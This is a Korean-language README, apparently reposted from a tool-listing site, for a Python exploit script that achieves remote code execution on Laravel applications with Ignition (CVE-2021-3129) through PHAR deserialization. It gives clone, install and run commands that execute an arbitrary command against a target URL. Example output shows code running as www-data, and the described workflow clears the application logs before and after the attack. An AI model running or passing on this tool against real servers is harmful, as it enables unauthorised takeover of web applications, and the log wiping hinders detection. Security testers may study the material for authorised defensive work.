CVE-2021-3129 Laravel Ignition RCE 익스플로잇

이것은 Laravel에 Ignition 패키지가 설치된 경우 발생하는 원격 코드 실행 취약점(CVE-2021-3129)을 위한 Python 익스플로잇 스크립트입니다. 이 취약점을 통해 공격자는 PHAR 역직렬화를 통해 임의의 시스템 명령을 실행할 수 있습니다.

기능

• phpggc를 사용하여 PHAR 페이로드를 자동으로 생성
• 실행할 명령어(예: id, whoami 등)를 사용자 입력으로 받음
• 로그 지우기, 페이로드 주입, 로그를 PHAR로 변환, 역직렬화 트리거 등 전체 익스플로잇 과정을 자동화

사전 요구 사항

• Python 3.x
• requests 라이브러리
• 시스템에 PHP 설치
• phpggc 설치 (PHAR 페이로드 생성용)

설치

1. 저장소를 클론합니다:

   root@kitploit:~

   git clone https://github.com/0x0d3ad/CVE-2021-3129.git
   cd CVE-2021-3129
   

2. 필요한 Python 패키지를 설치합니다:

   root@kitploit:~

   pip install requests
   

3. 원하는 대상과 명령어로 스크립트를 실행합니다:

   root@kitploit:~

   python3 CVE-2021-3129.py http://example.com --cmd 'id'
   

   예제 출력:

   root@kitploit:~

   [+] Generating PHAR payload for command: id
   [+] Trying to clear logs
   [+] Logs cleared
   [+] Convert log file to PHAR
   [+] Successfully converted logs to PHAR
   [+] PHAR deserialized
   ---------------------------------------
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   ---------------------------------------
   [+] Trying to clear logs
   [+] Logs cleared
   

인자

• target (필수): 취약한 Laravel 애플리케이션의 URL
• --cmd (선택): 대상에서 실행할 명령어 (기본값: whoami)
• --log_path (선택): 사용할 로그 파일 경로 (기본값: ../storage/logs/laravel.log)

POC